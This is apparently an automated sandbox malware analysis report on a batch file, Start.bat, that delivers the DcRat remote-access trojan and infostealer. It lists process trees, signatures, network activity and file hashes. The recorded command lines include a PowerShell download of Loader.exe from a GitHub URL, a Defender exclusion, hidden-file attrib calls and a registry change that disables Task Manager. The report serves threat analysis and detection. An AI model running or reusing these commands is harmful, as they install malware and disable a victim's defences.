Malware Analysis Report

2024-10-10 13:00

Sample ID 240617-m7mcbssaln
Target Start.bat
SHA256 3ea1536d0ef8354708bf8f81e540e2e69a20bea0ccfabf3c9d36cc99c07192d7
Tags
dcrat evasion execution infostealer rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3ea1536d0ef8354708bf8f81e540e2e69a20bea0ccfabf3c9d36cc99c07192d7

Threat Level: Known bad

The file Start.bat was found to be: Known bad.

Malicious Activity Summary

dcrat evasion execution infostealer rat

DcRat

DCRat payload

Disables Task Manager via registry modification

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Executes dropped EXE

Legitimate hosting services abused for malware hosting/C2

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Modifies registry key

Suspicious behavior: EnumeratesProcesses

Modifies registry class

Suspicious use of WriteProcessMemory

Views/modifies file attributes

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-17 11:06

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-17 11:06

Reported

2024-06-17 11:07

Platform

win11-20240611-en

Max time kernel

31s

Max time network

34s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Start.bat"

Signatures

DcRat

rat infostealer dcrat

DCRat payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Disables Task Manager via registry modification

evasion

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4736 wrote to memory of 3708 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4736 wrote to memory of 3708 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4736 wrote to memory of 1196 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cacls.exe
PID 4736 wrote to memory of 1196 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cacls.exe
PID 4736 wrote to memory of 2976 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4736 wrote to memory of 2976 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4736 wrote to memory of 1524 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 4736 wrote to memory of 1524 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 4736 wrote to memory of 1364 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4736 wrote to memory of 1364 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4736 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 4736 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 4736 wrote to memory of 412 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe
PID 4736 wrote to memory of 412 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe
PID 4736 wrote to memory of 412 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe
PID 4736 wrote to memory of 4248 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 4736 wrote to memory of 4248 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 412 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe C:\Windows\SysWOW64\WScript.exe
PID 412 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe C:\Windows\SysWOW64\WScript.exe
PID 412 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe C:\Windows\SysWOW64\WScript.exe
PID 2960 wrote to memory of 224 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2960 wrote to memory of 224 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2960 wrote to memory of 224 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 224 wrote to memory of 3388 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe
PID 224 wrote to memory of 3388 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe
PID 224 wrote to memory of 1268 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 224 wrote to memory of 1268 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 224 wrote to memory of 1268 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Start.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -window hidden -command ""

C:\Windows\system32\cacls.exe

"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Add-MpPreference -ExclusionPath "C:\

C:\Windows\system32\attrib.exe

attrib +h "GoogleDrives" /s /d

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-Webrequest 'https://github.com/EzKaProject/Loaders/raw/main/Loader.exe' -OutFile Loader.exe"

C:\Windows\system32\attrib.exe

attrib +h "Loader.exe" /s /d

C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe

Loader.exe

C:\Windows\system32\attrib.exe

attrib +h "C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe" /s /d

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\ewm9etKbRI.vbe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\I6Mb37.bat" "

C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe

"C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe"

C:\Windows\SysWOW64\reg.exe

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 185.199.109.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 133.109.199.185.in-addr.arpa udp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp

Files

memory/3708-0-0x00007FF880483000-0x00007FF880485000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_itp11ism.3bx.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3708-9-0x000001807FEF0000-0x000001807FF12000-memory.dmp

memory/3708-10-0x00007FF880480000-0x00007FF880F42000-memory.dmp

memory/3708-11-0x00007FF880480000-0x00007FF880F42000-memory.dmp

memory/3708-12-0x00007FF880480000-0x00007FF880F42000-memory.dmp

memory/3708-15-0x00007FF880480000-0x00007FF880F42000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

memory/2976-17-0x00007FF880480000-0x00007FF880F42000-memory.dmp

memory/2976-18-0x00007FF880480000-0x00007FF880F42000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

memory/2976-28-0x00007FF880480000-0x00007FF880F42000-memory.dmp

memory/2976-29-0x00007FF880480000-0x00007FF880F42000-memory.dmp

memory/2976-30-0x00007FF880480000-0x00007FF880F42000-memory.dmp

memory/2976-32-0x00007FF880480000-0x00007FF880F42000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b698e32d0304217b19b5d9bdb54dc695
SHA1 d839a6bae60d3e4ce89bba63577cfac0f01525eb
SHA256 7ba7436fa154eb729d321d2b5e4ee44cebb6a8ecb864798a444909bd80b4cf12
SHA512 de05eb79e082a59a442efd0181205619468a27f1ed24c4027b01bfeba2e3f1cd426441f3371a3393d645b2fcf8b6255c1f4d9ed343b6c106ffdf19466c3007e6

C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe

MD5 45d13fd3e101e33acbf271e0537de18f
SHA1 458e41068922768361650fb05e7d767e7676becf
SHA256 5198ac4261ef383b871b095d7d8ddb16738675d4186dd3a39cb7667e48533a51
SHA512 bdf188380d77538bf463c1e854a0e2046249278bd25fb081115043e54ddb5e2df19bae971e9c2701329de9d932d3a897265363861a406f9caeb933c27020837e

C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\ewm9etKbRI.vbe

MD5 be8c2a530a96e0cceae0cdc34bf34287
SHA1 dbf3fddc7445a46dab5f3f514fd834597dd0a23f
SHA256 4a48e7f5facfc14a7e9a0fbd6715dab969e4a36913b7f757875f2657707a2c38
SHA512 6508dfc80702fb2b639d7e8b52509a45415009f0784537149e1cee1b95b8d65bb3de5d0e401d0a6b4832cfd4a4061a71d057a7bbdb67f161a29afc8d7d0c06e7

C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\I6Mb37.bat

MD5 3fc845936177bf46cc9cb858e256b08d
SHA1 ba502e666415cc3228ef61ae0be2564d6a01e4c2
SHA256 c2319812c733ab383ddaa29bfb68594f4c5b10dbfdc9192766962ebe5a4baece
SHA512 5e847379381516045d68a9275cb0f71cfe207ead9343371949b9c03ed73e2a6b265612ddfdd14549bb546716dda6d2184e97aea21747f0f7fede4df5ddd11d86

C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe

MD5 f74442723cdb0a6e567316fe8778125e
SHA1 7c1ff5d71f73ca1eee0593d4c3d8d630ecd58b33
SHA256 785c55be43d387e65634c031b3a7184d8d008473ae4144c8e427ceada2e4c991
SHA512 d3968c33a0444a9204bddfba2b9dd5302160e2a90c4aa0458b41cbf67530ce96f37007ab8ac87d90889828c72c16c1ec4498a749ab04af1940a3ae054bb300af

memory/3388-58-0x0000000000E80000-0x000000000103A000-memory.dmp

memory/3388-59-0x0000000001760000-0x000000000176E000-memory.dmp

memory/3388-60-0x0000000001770000-0x000000000177E000-memory.dmp